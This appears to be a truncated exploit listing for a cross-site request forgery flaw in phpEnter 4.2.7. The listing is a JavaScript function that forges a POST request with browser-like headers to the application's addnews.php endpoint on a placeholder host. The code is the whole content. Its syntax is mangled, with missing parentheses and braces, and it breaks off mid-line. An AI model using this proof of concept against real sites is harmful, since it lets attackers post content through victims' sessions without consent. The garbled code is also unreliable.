phpEnter 4.2.7 Cross Site Request Forgery

function submitRequest var xhr = new XMLHttpRequest; xhr.open"POST", "http://sitename/path/addnews.php", true; xhr.setRequestHeader"Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8"; xhr.setRequestHeader"Accept-Language", "en-US,en;q=0.5"; xhr.setRequestHeader"Content-Type"...